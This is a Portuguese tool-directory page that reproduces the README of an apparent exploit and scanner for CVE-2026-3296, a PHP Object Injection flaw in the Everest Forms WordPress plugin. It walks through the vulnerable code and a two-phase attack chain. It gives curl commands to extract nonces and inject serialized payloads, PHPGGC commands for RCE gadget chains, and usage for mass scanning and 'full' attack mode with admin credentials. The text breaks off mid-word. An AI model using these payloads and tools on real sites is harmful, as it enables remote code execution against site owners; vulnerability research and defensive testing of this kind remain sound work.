Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-3296 — CVE-2026-3296 é uma vulnerabilidade crítica de Injeção de Objeto PHP não autenticada com CVSS 9.8 no plugin Everest Forms WordPress | Kitploit
Ferramentas/GitHubGitHub/xxconi/cve-2026-3296
Análise de VulnerabilidadesAnálise de CódigoExploraçãoExploração de Aplicações WebTestes de PenetraçãoDesenvolvimento de Payloads
GitHubxxconi/cve-2026-3296

CVE-2026-3296

CVE-2026-3296 é uma vulnerabilidade crítica de Injeção de Objeto PHP não autenticada com CVSS 9.8 no plugin Everest Forms WordPress

Ver Repositório
3há 3 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-3296

CVE-2026-3296 é uma vulnerabilidade CVSS 9.8 Crítica de Injeção de Objetos PHP não autenticada no plugin Everest Forms WordPress.

CVE-2026-3296 — Everest Forms Scanner de Injeção de Objetos PHP

Plugin: Everest Forms – Formulário de Contato, Formulário de Pagamento, Quiz, Pesquisa e Construtor de Formulários Personalizados Slug do Plugin: everest-forms ID CVE: CVE-2026-3296 Pontuação CVSS: 9.8 (Crítica) Vetor CVSS: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H Tipo de Vulnerabilidade: Injeção de Objetos PHP não autenticada → RCE Versões Afetadas: <= 3.4.3 Versão Corrigida: 3.4.4 Data de Publicação: 7 de Abril de 2026 Pesquisador: 0xsabre — Mobikwik / Wordfence


📌 Sobre a Vulnerabilidade

O plugin Everest Forms, ao exibir metadados de entrada de formulários no painel administrativo, chama a função nativa unserialize() do PHP sem o parâmetro .

allowed_classes

Um atacante não autenticado pode incorporar um payload serializado de objeto PHP em qualquer campo público do formulário, salvando-o no banco de dados. Quando a entrada é visualizada no painel administrativo, unserialize() é acionado e qualquer POP gadget chain disponível no ambiente é executado.


🔍 Resumo da Vulnerabilidade

CampoValor
ID CVECVE-2026-3296
CVSS9.8 Crítica
TipoInjeção de Objetos PHP (Desserialização de Dados Não Confiáveis)
Versão Afetada<= 3.4.3
Versão Corrigida3.4.4
AutenticaçãoNão necessária (injeção), Admin (disparo)
CWECWE-502: Desserialização de Dados Não Confiáveis

⚙️ Análise Técnica

Modelo de Ataque em Duas Fases

root@kitploit:~
FAZ 1 — INJEÇÃO (Autenticação não necessária)
FAZ 2 — DISPARO (Visualização no painel administrativo)

Fase 1 — Injeção: Armazenamento do Payload

Hook de Submissão do Formulário (class-evf-form-task.php, linha 75)

root@kitploit:~
// Her front-end sayfa yüklemesinde tetiklenir
add_action( 'wp', array( $this, 'listen_task' ) );
root@kitploit:~
// line 109 — kullanıcı verisi sanitize edilerek işlenir
$this->do_task( evf_sanitize_entry( wp_unslash( $_POST['everest_forms'] ) ) );

Sanitização Insuficiente (evf-core-functions.php, linha 4754)

root@kitploit:~
// sanitize_text_field() HTML tag, null byte siler
// PHP serialization karakterlerini (O:, s:, {, }, ;) SİLMEZ
default:
    $entry['form_fields'][$key] = sanitize_text_field(
        $entry['form_fields'][$key]
    );

Este payload é totalmente preservado após sanitize_text_field():

root@kitploit:~
O:8:"stdClass":1:{s:5:"pwned";s:3:"yes";}

Bug Adicional — Retorno Prematuro (linha 4764)

root@kitploit:~
// return $entry; ifadesi foreach döngüsü İÇİNDE
// → Yalnızca ilk alan sanitize edilir, geri kalan alanlar ham kalır
foreach ($entry['form_fields'] as $key => $value) {
    ...
    return $entry;  // ← BUG: döngü ilk iterasyonda çıkar
}

Escrita no Banco de Dados (class-evf-form-task.php, linha 1326)

root@kitploit:~
$entry_metadata = array(
    'entry_id'   => $entry_id,
    'meta_key'   => sanitize_key( $field['meta_key'] ),
    'meta_value' => maybe_serialize( $field['value'] ),
    // maybe_serialize() düz string'i değiştirmez
    // → Serialized object string verbatim yazılır
);
$wpdb->insert( $wpdb->prefix . 'evf_entrymeta', $entry_metadata );

Fase 2 — Disparo: Desserialização Insegura

Código Vulnerável (html-admin-page-entries-view.php, linha 130–133)

root@kitploit:~
$meta_value = is_serialized( $meta_value )
    ? $meta_value
    : wp_strip_all_tags( $meta_value );

if ( is_serialized( $meta_value ) ) {
    $raw_meta_val = unserialize( $meta_value );
    // ↑ allowed_classes parametresi YOK
    // PHP varsayılanı: TÜM sınıflar instantiate edilebilir
    // → POP gadget chain tetiklenir
}

Wrapper Seguro Existe, Mas Não é Usado (evf-core-functions.php, linha 5594)

root@kitploit:~
// Bu fonksiyon zaten mevcuttu — sadece çağrılmadı
function evf_maybe_unserialize($data, $options = array()) {
    if (is_serialized($data)) {
        if (version_compare(PHP_VERSION, '7.1.0', '>=')) {
            $options = wp_parse_args($options, array('allowed_classes' => false));
            return @unserialize(trim($data), $options);  // Güvenli
        }
        return null;
    }
    return $data;
}

Por que o Nonce Não Protege?

root@kitploit:~
<!-- Public form HTML'inde gömülü — herkes okuyabilir -->
<input type="hidden" name="_wpnonce123" value="abc123def456">

O nonce fornece proteção CSRF, não autenticação. O atacante abre a página do formulário via GET, lê o nonce e depois envia o payload via POST.


🔴 Cadeia Completa de Ataque

root@kitploit:~
┌──────────────────────────────────────────────────────────────┐
│  FAZ 1 — ENJEKSIYON (Unauthenticated)                       │
│                                                              │
│  GET /contact/                                               │
│  → form_id=123, nonce=abc123, field=text_xyz                 │
│                                                              │
│  POST /contact/                                              │
│  everest_forms[id]=123                                       │
│  everest_forms[form_fields][text_xyz]=O:8:"Evil":1:{...}    │
│  _wpnonce123=abc123                                          │
│       │                                                      │
│       ├── sanitize_text_field() → serialization korunur     │
│       ├── maybe_serialize() → string değişmez               │
│       └── wp_evf_entrymeta.meta_value = "O:8:\"Evil\"..."   │
└──────────────────────────┬───────────────────────────────────┘
                           │  (Admin rutin kontrol yapar)
┌──────────────────────────▼───────────────────────────────────┐
│  FAZ 2 — TETİKLEME (Admin Panel)                            │
│                                                              │
│  GET /wp-admin/admin.php                                     │
│      ?page=evf-entries&form_id=123&view-entry=456           │
│       │                                                      │
│       ├── is_serialized($meta_value) = true                  │
│       ├── unserialize($meta_value)   ← ZAFIYET              │
│       │   allowed_classes = (yok) → tüm sınıflar            │
│       └── POP gadget chain → __wakeup() / __destruct()      │
│           → RCE / File Write / Data Exfil                    │
└──────────────────────────────────────────────────────────────┘

🧪 Prova de Conceito (Manual)

⚠️ Aviso: Esta PoC é fornecida apenas para fins educacionais e de pesquisa defensiva de segurança.

Pré-requisitos:

  • Everest Forms <= 3.4.3 instalado e ativo
  • Página de formulário publicamente acessível
  • Acesso ao painel administrativo (para disparo)

Passo 1 — Obter ID do Formulário e Nonce

root@kitploit:~
TARGET="https://target-site.example.com/contact/"

# Extrair ID do formulário
curl -s "$TARGET" | grep -oP 'name="everest_forms\[id\]" value="\K[0-9]+'

# Extrair nonce
curl -s "$TARGET" | grep -oP '(?<=name="_wpnonce)[0-9]+" value="\K[^"]+'

Passo 2 — Criar Payload de Teste Benigno

root@kitploit:~
# Teste seguro — stdClass, sem métodos mágicos
PAYLOAD='O:8:"stdClass":2:{s:6:"source";s:14:"CVE-2026-3296";s:6:"pwned";s:3:"yes";}'

Para ambiente real, gere a chain POP com PHPGGC:

root@kitploit:~
# WordPress/RCE1 chain
phpggc WordPress/RCE1 system "id" -s

# Monolog chain
phpggc Monolog/RCE1 system "id" -s

Passo 3 — Injete o Payload

root@kitploit:~
FORM_ID="123"
NONCE="abcdef1234"
FIELD="text_abc123"

curl -s -X POST "$TARGET" \
  -d "everest_forms[id]=${FORM_ID}" \
  -d "everest_forms[form_fields][${FIELD}]=${PAYLOAD}" \
  -d "_wpnonce${FORM_ID}=${NONCE}" \
  -d "everest_forms[hp][abc]="

Esperado: Mensagem de sucesso do formulário ou redirecionamento.


Passo 4 — Verificar no Banco de Dados (WP-CLI)

root@kitploit:~
wp db query \
  "SELECT meta_value FROM wp_evf_entrymeta ORDER BY meta_id DESC LIMIT 3;" \
  --allow-root
# A linha O:8:"stdClass":2:{...} deve aparecer

Passo 5 — Disparar como Administrador

root@kitploit:~
https://target-site.example.com/wp-admin/admin.php
  ?page=evf-entries
  &form_id=123
  &view-entry=<ENTRY_ID>

Ao carregar a página, unserialize() é executado.


Passo 6 — Verificação da Gadget Chain (Ambiente de Teste)

root@kitploit:~
// test-gadget.php — USAR APENAS EM AMBIENTE DE TESTE
class TestGadget {
    public function __wakeup() {
        file_put_contents(
            '/tmp/pwned.txt',
            'PHP Object Injection confirmed at ' . date('c')
        );
    }
}
root@kitploit:~
cat /tmp/pwned.txt
# PHP Object Injection confirmed at 2026-04-08T...

🛠️ Scanner Automatizado

Instalação

root@kitploit:~
git clone https://github.com/kullanici/cve-2026-3296-scanner
cd cve-2026-3296-scanner
pip install -r requirements.txt

requirements.txt

root@kitploit:~
requests

🚀 Uso

Detecção de Vulnerabilidade (Payload Benigno)

root@kitploit:~
python everest_forms_poi.py -u http://alvo.com --mode scan

Apenas Injeção (Fase 1)

root@kitploit:~
python everest_forms_poi.py -u http://alvo.com --mode inject \
  --payload-type probe

Ataque Completo (Fase 1 + Fase 2)

root@kitploit:~
python everest_forms_poi.py -u http://alvo.com --mode full \
  --admin-user admin --admin-pass Pass123!

ID do Formulário Manual + Payload Personalizado

root@kitploit:~
python everest_forms_poi.py -u http://alvo.com --mode inject \
  --form-id 5 --field-name text_abc123 \
  --custom-payload 'O:8:"stdClass":1:{s:4:"test";s:2:"ok";}'

Detecção com Callback OOB (Burp Collaborator)

root@kitploit:~
python everest_forms_poi.py -u http://alvo.com --mode scan \
  --payload-type ssrf \
  --callback-url http://seu.burp.collaborator.net

Varredura em Massa

root@kitploit:~
python everest_forms_poi.py -l targets.txt -t 10 \
  --mode scan -o resultados.txt

Com Proxy (Burp Suite)

root@kitploit:~
python everest_forms_poi.py -u http://alvo.com --mode full \
  --admin-user admin --admin-pass Pass123! \
  --proxy http://127.0.0.1:8080

⚙️ Parâmetros

Modo

ModoDescrição
scanInjeta payload benigno — detecção de vulnerabilidade
injectApenas Fase 1 — armazena payload
triggerApenas Fase 2 — dispara com login admin
fullFase 1 + Fase 2 — ataque completo

Parâmetros Gerais

ParâmetroCurtoDescriçãoPadrão
--url-uURL alvo único—
--list-lArquivo com lista de alvos—
--threads-tNúmero de threads5
--output-oArquivo de saídapoi_results.txt
--proxy—URL do proxy—
--force—Continua mesmo se a detecção do plugin falharFalse

Parâmetros do Formulário

ParâmetroDescriçãoPadrão
--form-idID do formuláriodetecção automática
--form-urlURL da página do formuláriodetecção automática
--field-nameNome do campo alvodetecção automática
--nonceValor do nonce do formulárioextração automática
--entry-idID da entrada (modo trigger)detecção automática

Opções de Payload

ParâmetroDescriçãoPadrão
--payload-typeTipo de payloadprobe
--custom-payloadString serializada personalizada—
--cmdComando RCEid
--callback-urlURL de callback OOB—

Credenciais Admin

ParâmetroDescrição
--admin-userNome de usuário admin
--admin-passSenha admin

💀 Tipos de Payload

TipoDescriçãoUso
probestdClass benigno — sem efeitos colateraisDetecção de vulnerabilidade
file_writeEscrita de arquivo (TestGadget)Verificação em ambiente de teste
ssrfCallback HTTP — detecção OOBBurp Collaborator
wp_rpcPlaceholder para WordPress POP chainGerado com PHPGGC
yoast_rcePlaceholder para Yoast SEO POP chainGerado com PHPGGC
monolog_rcePlaceholder para Monolog POP chainGerado com PHPGGC

💡 Geração de Chain Real com PHPGGC:

root@kitploit:~
# WordPress/RCE1
phpggc WordPress/RCE1 system "id" -s

# Monolog/RCE1
phpggc Monolog/RCE1 system "id" -s

# Listar todas as chains disponíveis
phpggc -l

📊 Status de Saída do Scanner

StatusDescrição
★ PWNEDDesserialização acionada + payload executado
★ VULNPayload injetado — vulnerabilidade confirmada
~ TRIGGEREDEntrada visualizada — verificar gadget chain manualmente
- INJ_FAILInjeção falhou (corrigido / formulário ausente)
~ NO_FORMNenhum formulário do Everest Forms encontrado
- NO_PLUGINPlugin não instalado
~ NO_CREDSCredenciais admin ausentes
- ADM_FAILLogin admin falhou
~ UNREACHAlvo inacessível

🖥️ Exemplo de Saída do Scanner

root@kitploit:~
[*] Alvo          : http://alvo.com
[*] Modo          : full
[*] Tipo Payload  : probe
[*] Comando       : id
[*] Usuário Admin : admin

[→] http://alvo.com  Passo 1: Procurando formulário do Everest Forms...
[→] http://alvo.com  Passo 2: Injetando payload...
[→] http://alvo.com  Passo 3: Realizando login admin...
[→] http://alvo.com  Passo 4: Procurando ID da entrada...
[→] http://alvo.com  Passo 5: Acionando unser
Baixar ferramenta